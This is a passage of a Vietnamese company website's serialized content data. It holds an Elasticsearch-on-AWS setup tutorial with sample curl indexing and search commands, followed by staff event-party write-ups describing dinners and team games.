134\u002F2015\u002FNĐ-CP ngày 29\u002F12\u002F2015",{"title":66,"searchDepth":67,"depth":67,"links":8386},[],"2021-07-23",{},"\u002Fvi\u002Fnews\u002Fdu-tuoi-huu-nguoi-lao-dong-co-duoc-dong-tiep-bhxh-de-huong-luong-huu-toi-da",{"title":8331,"description":8336},"vi\u002Fnews\u002Fdu-tuoi-huu-nguoi-lao-dong-co-duoc-dong-tiep-bhxh-de-huong-luong-huu-toi-da","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F06\u002F18101047\u002FDuTuoiNghiHuuCoDuocDongTiepBHXH-1-2048x1365.png","7ImnG_kZrSHc9-itTDR1c70snrHk85-HhfQYuteXOdI",{"id":8395,"title":8396,"body":8397,"category":1430,"created by":70,"date":8772,"description":8773,"extension":72,"meta":8774,"navigation":74,"path":8775,"sections":76,"seo":8776,"stem":8777,"thumbnail":8778,"__hash__":8779},"content_vi\u002Fvi\u002Fnews\u002Felasticsearch-tren-aws.md","Elasticsearch trên AWS",{"type":8,"value":8398,"toc":8758},[8399,8405,8413,8419,8430,8436,8450,8456,8461,8466,8471,8476,8481,8489,8494,8505,8511,8520,8641,8647,8652,8655,8661,8668,8673,8679,8681,8687,8689,8693,8699,8704,8706,8712,8719,8725,8748,8752],[498,8400,8402],{"id":8401},"elasticsearch-là-gì",[20,8403,8404],{},"Elasticsearch là gì?",[855,8406,8407,8410],{"style":2672},[11,8408,8409],{},"Là công cụ tìm kiếm và phân tích phân tán RESTful mã nguồn mở, được xây dựng trên Apache Lucene.",[11,8411,8412],{},"Kể từ khi phát hành năm 2010, Elasticsearch đã nhanh chóng trở thành công cụ tìm kiếm thông dụng nhất và được sử dụng rộng rãi cho các trường hợp sử dụng liên quan đến phân tích log, tìm kiếm toàn văn bản, thông tin bảo mật, phân tích nghiệp vụ và thông tin vận hành.",[498,8414,8416],{"id":8415},"elasticsearch-hoạt-động-như-thế-nào",[20,8417,8418],{},"Elasticsearch hoạt động như thế nào?",[855,8420,8421,8424,8427],{"style":2672},[11,8422,8423],{},"Bạn có thể gửi dữ liệu dưới dạng tài liệu JSON lên Elasticsearch bằng cách sử dụng API hoặc công cụ thu thập như Logstash và Amazon Kinesis Firehose.",[11,8425,8426],{},"Elasticsearch tự động lưu trữ văn bản gốc và thêm tham chiếu có thể tìm kiếm vào văn bản ở phần chỉ mục của cluster. Khi đó bạn có thể tìm và truy xuất văn bản bằng cách sử dụng Elasticsearch API.",[11,8428,8429],{},"Bạn cũng có thể sử dụng Kibana - một công cụ trực quan hóa mã nguồn mở, cùng với Elasticsearch để trực quan hóa dữ liệu và xây dựng bảng thông tin tương tác.",[498,8431,8433],{"id":8432},"elasticsearch-có-miễn-phí-không",[20,8434,8435],{},"Elasticsearch có miễn phí không?",[855,8437,8438,8441,8444,8447],{"style":2672},[11,8439,8440],{},"Có, Elasticsearch là phần mềm mã nguồn mở, miễn phí.",[11,8442,8443],{},"Bạn có thể chạy Elasticsearch tại cơ sở, trên Amazon EC2 hoặc trên Amazon Elasticsearch Service.",[11,8445,8446],{},"Với hình thức triển khai tại cơ sở hoặc trên Amazon EC2, bạn chịu trách nhiệm cài đặt Elasticsearch và phần mềm cần thiết khác, cung cấp cơ sở hạ tầng và quản lý cluster.",[11,8448,8449],{},"Mặt khác, Amazon Elasticsearch Service là dịch vụ được quản lý toàn phần nên bạn không phải lo lắng về những tác vụ quản lý cluster tiêu tốn nhiều thời gian như cung cấp phần cứng, vá lỗi phần mềm, khôi phục sự cố, sao lưu và giám sát.",[498,8451,8453],{"id":8452},"lợi-ích-của-elasticsearch",[20,8454,8455],{},"Lợi ích của Elasticsearch",[11,8457,8458],{},[20,8459,8460],{},"HIỆU NĂNG CAO",[855,8462,8463],{"style":2672},[11,8464,8465],{},"Bản chất phân tán của Elasticsearch giúp hệ thống xử lý song song các khối lượng dữ liệu lớn, nhanh chóng tìm được dữ liệu phù hợp với yêu cầu của bạn.",[11,8467,8468],{},[20,8469,8470],{},"PHÁT TRIỂN ỨNG DỤNG DỄ DÀNG",[855,8472,8473],{"style":2672},[11,8474,8475],{},"Elasticsearch hỗ trợ nhiều ngôn ngữ khác nhau như Java, Python, PHP, JavaScript, Node.js và Ruby, v.v..",[11,8477,8478],{},[20,8479,8480],{},"HOẠT ĐỘNG GẦN THEO THỜI GIAN THỰC",[855,8482,8483,8486],{"style":2672},[11,8484,8485],{},"Hoạt động của Elasticsearch chẳng hạn như đọc hay ghi dữ liệu thường mất chưa đầy 1 giây để hoàn tất.",[11,8487,8488],{},"Việc này cho phép bạn sử dụng Elasticsearch cho các trường hợp sử dụng gần theo thời gian thực như giám sát ứng dụng và phát hiện bất thường.",[11,8490,8491],{},[20,8492,8493],{},"CÔNG CỤ VÀ PLUGIN BỔ SUNG",[855,8495,8496,8499,8502],{"style":2672},[11,8497,8498],{},"Elasticsearch được tích hợp sẵn Kibana - một công cụ trực quan hóa và báo cáo thông dụng.",[11,8500,8501],{},"Hệ thống cũng cung cấp khả năng tích hợp với Beats và Logstash, trong khi cho phép bạn dễ dàng chuyển đổi dữ liệu nguồn và tải dữ liệu vào cluster Elasticsearch của bạn.",[11,8503,8504],{},"Bạn cũng có thể sử dụng một số plugin mã nguồn mở của Elasticsearch chẳng hạn như công cụ phân tích và gợi ý ngôn ngữ để bổ sung tính năng cho ứng dụng của bạn.",[498,8506,8508],{"id":8507},"bắt-đầu-sử-dụng-elasticsearch-trên-aws",[20,8509,8510],{},"Bắt đầu sử dụng Elasticsearch trên AWS",[657,8512,8514,56,8517,64],{"id":8513},"bước-1-tạo-domain-amazon-elasticsearch-service-amazon-es",[20,8515,8516],{},"Bước 1: Tạo domain",[20,8518,8519],{},"Amazon Elasticsearch Service (Amazon ES)",[855,8521,8522,8533,8543,8549,8558,8570,8573,8590,8595,8604,8614,8624,8629,8634],{"style":2672},[11,8523,8524,8525,8529,8530,974],{},"1. Truy cập ",[58,8526,8527],{"href":8527,"rel":8528},"https:\u002F\u002Faws.amazon.com",[62]," và chọn ",[20,8531,8532],{},"Sign In to the Console",[11,8534,8535,8536,8539,8540,974],{},"2. Ở dưới ",[20,8537,8538],{},"Analytics",", chọn ",[20,8541,8542],{},"Elasticsearch Service",[11,8544,8545,8546,974],{},"3. Chọn ",[20,8547,8548],{},"Create a new domain",[11,8550,8551,8552,8539,8555,974],{},"4. Đối với ",[20,8553,8554],{},"deployment type",[20,8556,8557],{},"Development and testing",[11,8559,8560,8561,8539,8564,8567,8568,974],{},"5. Đối với ",[20,8562,8563],{},"Elasticsearch version",[20,8565,8566],{},"latest version"," và sau đó chọn ",[20,8569,813],{},[11,8571,8572],{},"6. Nhập tên của domain.",[11,8574,8575,8576,8539,8579,8582,8583,8586,8587,974],{},"7. Phía dưới ",[20,8577,8578],{},"Data nodes",[20,8580,8581],{},"instance type"," là ",[20,8584,8585],{},"t3.small.elasticsearch"," với giá trị mặc định của ",[20,8588,8589],{},"Number of nodes",[11,8591,8592,8593,974],{},"8. Bỏ qua các phần còn lại của cài đặt và chọn ",[20,8594,813],{},[11,8596,8597,8598,8539,8601,974],{},"9. Đối với ",[20,8599,8600],{},"Network configuration",[20,8602,8603],{},"Public access",[11,8605,8606,8607,8610,8611,974],{},"10. Đối với ",[20,8608,8609],{},"Fine-grained access control",", bỏ chọn ",[20,8612,8613],{},"Enable fine-grained access control",[11,8615,8616,8617,8539,8620,8623],{},"11. Đối với ",[20,8618,8619],{},"Domain access policy",[20,8621,8622],{},"Custom access policy",". Nhập IP address hoặc nhập IAM ARN cho phép truy cập tới domain.",[11,8625,8626,8627,974],{},"12. Bỏ qua các phần còn lại của cài đặt và chọn ",[20,8628,813],{},[11,8630,8631,8632,974],{},"13. Bỏ qua các lựa chọn tags và chọn ",[20,8633,813],{},[11,8635,8636,8637,8640],{},"14. Xác nhận lại các cấu hình domain và chọn ",[20,8638,8639],{},"Confirm",". Domain mới sẽ tốn khoảng 15-30 phút để khởi tạo, nhưng có thể lâu hơn tuỳ vào cấu hình. Sau khi domain được tạo xong, hãy lưu lại endpoint.",[657,8642,8644],{"id":8643},"bước-2-upload-dữ-liệu-lên-amazon-es",[20,8645,8646],{},"Bước 2: Upload dữ liệu lên Amazon ES",[11,8648,8649],{},[20,8650,8651],{},"Cách 1: Upload một document",[11,8653,8654],{},"Sử dụng command line",[696,8656,8659],{"className":8657,"code":8658,"language":701},[699],"curl -XPUT 'domain-endpoint\u002Fusers\u002F_doc\u002F1' -d '{\"id\": 1, \"userName\": \"Nguyen Van A\", \"email\": \"test@gmail.com\"}' -H 'Content-Type: application\u002Fjson'\n",[703,8660,8658],{"__ignoreMap":66},[11,8662,8663,8664],{},"Sử dụng postman",[533,8665],{"className":8666,"alt":66,"src":8667,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F31160012\u002Fes-insert-1-1024x546.png",[11,8669,8670],{},[20,8671,8672],{},"Cách 2: Upload nhiều documents bằng file json, Tạo file users.json với nội dung như sau:",[696,8674,8677],{"className":8675,"code":8676,"language":701},[699],"{ \"index\" : { \"_index\": \"users\", \"_id\" : \"2\" } }\n        \n{\"id\": 2, \"userName\": \"Nguyen Van B\", \"email\": \"test+1@gmail.com\"}\n        \n{ \"index\" : { \"_index\": \"users\", \"_id\" : \"3\" } }\n        \n{\"id\": 3, \"userName\": \"Nguyen Van C\", \"email\": \"test+2@gmail.com\"}\n",[703,8678,8676],{"__ignoreMap":66},[11,8680,8654],{},[696,8682,8685],{"className":8683,"code":8684,"language":701},[699],"curl -XPOST 'domain-endpoint\u002F_bulk' --data-binary @users.json -H 'Content-Type: application\u002Fjson'\n",[703,8686,8684],{"__ignoreMap":66},[11,8688,8663],{},[533,8690],{"className":8691,"alt":66,"src":8692,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F31160451\u002Fes-insert-2-1024x649.png",[657,8694,8696],{"id":8695},"bước-3-tìm-kiếm-tài-liệu-trên-amazon-es",[20,8697,8698],{},"Bước 3: Tìm kiếm tài liệu trên Amazon ES",[11,8700,8701],{},[20,8702,8703],{},"Tìm kiếm data trong users domain với từ khoá gmail.com",[11,8705,8654],{},[696,8707,8710],{"className":8708,"code":8709,"language":701},[699],"curl -XGET 'domain-endpoint\u002Fusers\u002F_search?q=gmail.com&pretty=true'\n",[703,8711,8709],{"__ignoreMap":66},[11,8713,8714,8715],{},"Sử dụng postman\n",[533,8716],{"className":8717,"alt":66,"src":8718,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F31160727\u002Fes-search-1024x650.png",[657,8720,8722],{"id":8721},"bước-4-xoá-amazon-es-domain",[20,8723,8724],{},"Bước 4: Xoá Amazon ES domain",[855,8726,8727,8733,8740],{"style":2672},[11,8728,8729,8730,974],{},"1. Đăng nhập vào ",[20,8731,8732],{},"Amazon Elasticsearch Service",[11,8734,8735,8736,8739],{},"2. Phía dưới ",[20,8737,8738],{},"My domains",",  chọn domain muốn xoá.",[11,8741,8545,8742,8567,8745,974],{},[20,8743,8744],{},"Actions",[20,8746,8747],{},"Delete domain",[498,8749,8750],{"id":5255},[20,8751,55],{},[11,8753,8754],{},[58,8755,8756],{"href":8756,"rel":8757},"https:\u002F\u002Fdocs.aws.amazon.com\u002Felasticsearch-service\u002Flatest\u002Fdeveloperguide\u002Fes-gsg.html",[62],{"title":66,"searchDepth":67,"depth":67,"links":8759},[8760,8761,8762,8763,8764,8771],{"id":8401,"depth":67,"text":8404},{"id":8415,"depth":67,"text":8418},{"id":8432,"depth":67,"text":8435},{"id":8452,"depth":67,"text":8455},{"id":8507,"depth":67,"text":8510,"children":8765},[8766,8768,8769,8770],{"id":8513,"depth":1417,"text":8767},"Bước 1: Tạo domain Amazon Elasticsearch Service (Amazon ES) ",{"id":8643,"depth":1417,"text":8646},{"id":8695,"depth":1417,"text":8698},{"id":8721,"depth":1417,"text":8724},{"id":5255,"depth":67,"text":55},"2021-06-23","Elasticsearch là gì? Là công cụ tìm kiếm và phân tích phân tán RESTful mã nguồn mở, được xây dựng trên Apache Lucene. Kể từ khi phát hành năm 2010, Elasticsearch đã nhanh chóng trở thành công cụ tìm kiếm thông dụng nhất và được sử dụng rộng rãi cho các trường hợp sử dụng liên quan đến phân tích log, tìm kiếm toàn văn bản, thông tin bảo mật, phân tích nghiệp vụ và thông tin vận hành.",{},"\u002Fvi\u002Fnews\u002Felasticsearch-tren-aws",{"title":8396,"description":8773},"vi\u002Fnews\u002Felasticsearch-tren-aws","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F06\u002F05080300\u002FElasticSearchIcon.jpg","ZTvJRXZN9shjp8FUQpxZy_9hYbcISlUMJDazIFGxr_I",{"id":8781,"title":8782,"body":8783,"category":2902,"created by":70,"date":8820,"description":8821,"extension":72,"meta":8822,"navigation":74,"path":8823,"sections":76,"seo":8824,"stem":8825,"thumbnail":8826,"__hash__":8827},"content_vi\u002Fvi\u002Fnews\u002Fevent-party-in-03-2021.md","Event Party Tháng 03\u002F2021",{"type":8,"value":8784,"toc":8818},[8785,8788,8791,8796,8800,8804,8808,8811,8815],[11,8786,8787],{},"Sau kì nghỉ tết âm lịch đón năm mới, mọi người đã quay trở lại làm việc. ",[11,8789,8790],{},"Công ty đã tổ chức một bữa tiệc nho nhỏ. Mọi người vừa ăn uống vừa trò chuyện, hỏi thăm nhau chuyện trong Tết cũng như về công việc của những ngày đầu sau Tết.",[533,8792],{"className":8793,"alt":66,"src":8795,"style":539},[536,537,8794],"mb-2","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F22100042\u002FIMG_1681-2048x1536.jpg",[533,8797],{"className":8798,"alt":66,"src":8799,"style":539},[536,537,8794],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F22100049\u002FIMG_1676-2048x1536.jpg",[533,8801],{"className":8802,"alt":66,"src":8803,"style":539},[536,537,8794],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F22100057\u002FIMG_1674-1024x768.jpg",[533,8805],{"className":8806,"alt":66,"src":8807,"style":539},[536,537,8794],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F22100008\u002FIMG_1677-1024x1021.jpg",[11,8809,8810],{},"Event lần này nhằm tạo thêm sự gắn kết giữa các thành viên trong Công ty, để mọi người xích lại gần nhau hơn sau những giờ làm việc căng thẳng. Ai ai cũng cảm thấy vui vì là một phần trong Công ty đúng không nào ?",[533,8812],{"className":8813,"alt":66,"src":8814,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F22100025\u002FIMG_1684-1024x768.jpg",[11,8816,8817],{},"Mong rằng Briswell Việt Nam sẽ ngày càng phát triển và vững mạnh.",{"title":66,"searchDepth":67,"depth":67,"links":8819},[],"2021-04-02","Sau kì nghỉ tết âm lịch đón năm mới, mọi người đã quay trở lại làm việc. Công ty đã tổ chức một bữa tiệc nho nhỏ. Mọi người vừa ăn uống vừa trò chuyện, hỏi thăm nhau chuyện trong Tết cũng như về công việc của những ngày đầu sau Tết.",{},"\u002Fvi\u002Fnews\u002Fevent-party-in-03-2021",{"title":8782,"description":8821},"vi\u002Fnews\u002Fevent-party-in-03-2021","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F22100105\u002FFeatured-picture.png","D1RShN9t7fnPBbBqBzUZ4HKOz67Mdfc6LPkIH2JkOFs",{"id":8829,"title":8830,"body":8831,"category":2902,"created by":8906,"date":8907,"description":8837,"extension":72,"meta":8908,"navigation":74,"path":8909,"sections":76,"seo":8910,"stem":8911,"thumbnail":8912,"__hash__":8913},"content_vi\u002Fvi\u002Fnews\u002Fevent-party-thang-03-2023.md","EVENT PARTY THÁNG 03\u002F2023",{"type":8,"value":8832,"toc":8904},[8833,8841,8844,8848,8851,8855,8858,8866,8870,8875,8883,8887,8892,8900],[31,8834,8835,8838],{},[34,8836,8837],{},"Sau kỳ nghỉ tết âm lịch năm mới thì event party tháng 03\u002F2023 đã quay trở lại, các thành viên trong gia đình Briswell lại có cơ hội được trải nghiệm các trò minigame và thưởng thức những món ăn mới tại một địa điểm cũng hoàn toàn mới toanh chính là Buffet nướng đường phố Hàn Quốc Buk Buk.",[34,8839,8840],{},"Cùng nhau tham gia các trò chơi đồng đội như tam sao thất bản, xây tháp tìm gián điệp đòi hỏi sự tinh ý, nhạy bén, tin tưởng, hợp tác ăn ý của các người chơi để cùng nhau đem lại chiến thắng và tất nhiên kèm theo đó là phần thưởng chiến thắng dành cho sự phối hợp tuyệt vời của các thành viên.",[11,8842,8843],{},"Đây là phần quà dành cho những người chiến thắng.",[533,8845],{"className":8846,"alt":66,"src":8847,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F10152536\u002F20230321_150953-2048x1536.jpg",[11,8849,8850],{},"Trò tam sao thất bản và hình vẽ của các thí sinh.",[533,8852],{"className":8853,"alt":66,"src":8854,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F10171751\u002F20230321_151850-2048x1068.jpg",[11,8856,8857],{},"Những kim tự tháp của các bạn.",[11,8859,8860,8864],{},[533,8861],{"className":8862,"alt":66,"src":8863,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F10172437\u002F20230321_160140-1152x1536.jpeg",[570,8865],{},[533,8867],{"className":8868,"alt":66,"src":8869,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F10173327\u002F20230321_160157-scaled-1152x1536.jpeg",[31,8871,8872],{},[34,8873,8874],{},"Cũng đã tới giờ tan làm, ngoài đường những dòng xe tấp nập, thời tiết mát mẻ vào lúc chiều tối chính là lúc thích hợp nhất để những gương mặt thân quen, rạng rỡ háo hức của gia đình Briswell được gặp nhau trực tiếp, hàn huyên tâm sự dưới làn khói nghi ngút mùi của thịt nướng.",[11,8876,8877,8881],{},[533,8878],{"className":8879,"alt":66,"src":8880,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F11085658\u002FIMG_0986-1024x819.jpg",[570,8882],{},[533,8884],{"className":8885,"alt":66,"src":8886,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F11085650\u002FIMG_0985-1024x793.jpg",[31,8888,8889],{},[34,8890,8891],{},"Hình ảnh mọi người vừa ăn uống vừa trò chuyện, hỏi thăm nhau kèm theo những tiếng cười đùa vang bên tai. Buổi event thật vui và ý nghĩa, hãy cùng nổ lực, cố gắng làm việc để có thêm những buổi event party như thế này nữa nhé gia đình Briswell ơi!",[11,8893,8894,8898],{},[533,8895],{"className":8896,"alt":66,"src":8897,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F11085712\u002FIMG_0988-1024x793.jpg",[570,8899],{},[533,8901],{"className":8902,"alt":66,"src":8903,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F11085706\u002FIMG_0987-1024x791.jpg",{"title":66,"searchDepth":67,"depth":67,"links":8905},[],"THANH CHAU LAI GIA","2023-04-18",{},"\u002Fvi\u002Fnews\u002Fevent-party-thang-03-2023",{"title":8830,"description":8837},"vi\u002Fnews\u002Fevent-party-thang-03-2023","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F14125257\u002F20230321_160157-1-scaled-e1681452352766.jpeg","LcgzW6fSqaf-95LXYMwOPFwyY44WmD6LF7lugsOKF7Q",{"id":8915,"title":8916,"body":8917,"category":2902,"created by":70,"date":8955,"description":8921,"extension":72,"meta":8956,"navigation":74,"path":8957,"sections":76,"seo":8958,"stem":8959,"thumbnail":8960,"__hash__":8961},"content_vi\u002Fvi\u002Fnews\u002Fevent-party-thang-04-2021.md","Event Party Tháng 04\u002F2021",{"type":8,"value":8918,"toc":8953},[8919,8922,8925,8929,8933,8937,8941,8944,8947,8950],[11,8920,8921],{},"Giờ tan tầm, tiếng xe vẫn còn đang nhộn nhịp phía sau cánh cửa. Còn gì ý nghĩa hơn khi đại gia đình BWV cùng gác lại công việc, những lo toan trong cuộc sống để cùng ngồi xuống ăn, uống và trò chuyện cùng với nhau.",[11,8923,8924],{},"Những lá rau xanh mơn mởn cuộn lấy những lát thịt thơm ngon vừa rời vỉ nướng, những chén súp nóng hổi còn nghi ngút khói, những tiếng cười nói rộn rã, tất cả đã dựng nên một bầu không khí thật thân mật của những thành viên BWVer.",[533,8926],{"className":8927,"alt":66,"src":8928,"style":539},[536,537,8794],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F11153443\u002F3-2048x1536.jpg",[533,8930],{"className":8931,"alt":66,"src":8932,"style":539},[536,537,8794],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F11153453\u002F2-2048x1621.jpg",[533,8934],{"className":8935,"alt":66,"src":8936,"style":539},[536,537,8794],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F11153502\u002F1-1024x768.jpg",[533,8938],{"className":8939,"alt":66,"src":8940,"style":539},[536,537,8794],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F11153518\u002F4-1024x768.jpg",[11,8942,8943],{},"Khoảnh khắc này, những con người tại nơi đây trở nên thân thiết và gắn bó hơn bao giờ hết.",[11,8945,8946],{},"Kết thúc buổi hẹn thật tuyệt tại AKA House Buffet, trong lòng vẫn còn những cảm xúc vấn vương.",[11,8948,8949],{},"Nhưng chắc chắn, trong tương lai gần, chúng ta sẽ lại có những buổi hẹn tuyệt vời hơn thế nữa.",[11,8951,8952],{},"Mình cùng chờ đón những event kỳ sau nhé gia đình BWV ơi!",{"title":66,"searchDepth":67,"depth":67,"links":8954},[],"2021-06-04",{},"\u002Fvi\u002Fnews\u002Fevent-party-thang-04-2021",{"title":8916,"description":8921},"vi\u002Fnews\u002Fevent-party-thang-04-2021","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F11153156\u002FFeatured-image.png","P3IXUNOTwrOXroUMoIkr_p4buQVq20HHZ6PUJTxOUK0",{"id":8963,"title":8964,"body":8965,"category":2902,"created by":9094,"date":9095,"description":8969,"extension":72,"meta":9096,"navigation":74,"path":9097,"sections":76,"seo":9098,"stem":9099,"thumbnail":9100,"__hash__":9101},"content_vi\u002Fvi\u002Fnews\u002Fevent-party-thang-08-2023.md","EVENT PARTY THÁNG 08\u002F2023",{"type":8,"value":8966,"toc":9092},[8967,8970,8973,8977,8981,8984,8988,8992,8995,8999,9003,9006,9010,9014,9017,9021,9025,9028,9031,9035,9039,9042,9046,9050,9053,9057,9061,9064,9068,9072,9076,9080,9083,9086,9089],[11,8968,8969],{},"Sau ba tháng chờ đợi, Briswell Vietnam lại mang đến cho nhân viên một sự kiện thú vị và ý nghĩa. Tháng 8 không chỉ là tháng cuối cùng của mùa hè, mà còn là tháng dẫn đầu cho tết Trung thu sắp tới. Đây là cơ hội tuyệt vời để chúng ta cùng nhau nghỉ ngơi và giải tỏa sau những áp lực công việc, cũng như gắn kết và chia sẻ với những đồng nghiệp tuyệt vời và thân thiện. Hãy cùng Briswell Vietnam tận hưởng một buổi party đầy màu sắc và niềm vui! 🥂🎊🎈.",[11,8971,8972],{},"Sự kiện bắt đầu với trò chơi “Vua Tiếng Việt” đưa ra cho người chơi một từ hoặc một câu với các ký tự hoặc từ bị đảo lộn. Trò chơi có 4 đội tham gia, mỗi đội tự thi đấu với nhau trong vòng 5 phút. Đội nào đưa ra nhiều câu trả lời chính xác nhất sẽ giành chiến thắng. Trò chơi này được thiết kế để kiểm tra khả năng hiểu biết và sử dụng tiếng Việt của người chơi. Đây là một trò chơi thú vị và hấp dẫn, mang lại cho người chơi cảm giác hồi hộp và thử thách khi thi đấu với các đối thủ khác 💪.",[533,8974],{"className":8975,"alt":66,"src":8976,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F24160119\u002Fimage.png",[11,8978,8980],{"className":8979},[2565,2566,2567,2568,2569],"\nLuật chơi trò chơi Vua tiếng việt\n",[11,8982,8983],{},"Ở lượt chơi đầu tiên là sự vượt trội đến từ vị trí team 1 với tỉ số là 12 - 3, các thành viên team 1 cực kì xuất sắc khi đưa ra những câu trả lời cực kì nhanh và chính xác khiến cho mọi người phải thấy trầm trồ.",[533,8985],{"className":8986,"alt":66,"src":8987,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25092558\u002Fz4632813375395_56f15f450dbef634e7ba3142d5191457-768x576.jpg",[11,8989,8991],{"className":8990},[2565,2566,2567,2568,2569],"\nCác thành viên team 1\n",[11,8993,8994],{},"Trận đấu giữa team 3 và team 4 là phần thi tiếp theo của cuộc thi. Cuộc đối đầu này diễn ra rất căng thẳng và hấp dẫn, và cuối cùng team 4 đã giành chiến thắng với tỷ số 8 - 7.",[533,8996],{"className":8997,"alt":66,"src":8998,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25092713\u002Fz4632813339804_bfe5ba0722bcbc843666d7c2ee29c258-768x576.jpg",[11,9000,9002],{"className":9001},[2565,2566,2567,2568,2569],"\nPhần thi giữa team 3 và team 4\n",[11,9004,9005],{},"Bước tới chung kết là trận đấu căng thẳng giữa team 1 và team 4. Ở trận chung kết này, xuất hiện những câu hỏi cực khó mà ngay đến cả ban tổ chức cũng không nhớ đáp án là gì, những câu hỏi mà khiến cho tất cả mọi người đều phải im lặng mà suy nghĩ.",[533,9007],{"className":9008,"alt":66,"src":9009,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25091414\u002Fz4632813317396_f343a7ee1019ef7c2aeb5c33b86c044e-768x576.jpg",[11,9011,9013],{"className":9012},[2565,2566,2567,2568,2569],"\nMọi người đều tập trung vào trận chung kết hấp dẫn\n",[11,9015,9016],{},"Cuộc đối đầu của hai đội khá cân bằng nhau cho đến những câu hỏi cuối cùng, team 1 trả lời đúng liên tiếp nhiều câu giành chiến thắng chung cuộc với kết quả 8 - 6.",[533,9018],{"className":9019,"alt":66,"src":9020,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25084158\u002Fz4632813255440_ad0a7c28c5c9575521db95761fd76c2a-768x576.jpg",[11,9022,9024],{"className":9023},[2565,2566,2567,2568,2569],"\nHình ảnh team 1 vui vẻ và tươi cười khi nhận phần thưởng của chương trình\n",[11,9026,9027],{},"Trò chơi thứ hai của chúng ta là trò chơi đoán từ khóa, một trò chơi đầy thú vị và sáng tạo 🎨. Mỗi đội sẽ có một người lên sân khấu, người này sẽ dùng ngôn ngữ cơ thể và khuôn mặt để diễn tả từ khóa cho các thành viên khác trong đội đoán ra. Trong 5 phút, đội nào đoán được nhiều từ khóa nhất sẽ chiến thắng 🏆.",[11,9029,9030],{},"Bắt đầu với phần chơi của team 1, tuy là đội chơi đầu tiên nhưng team 1 tỏ ra không hề lúng túng khi đoán đúng 9\u002F15 câu trong vòng 5 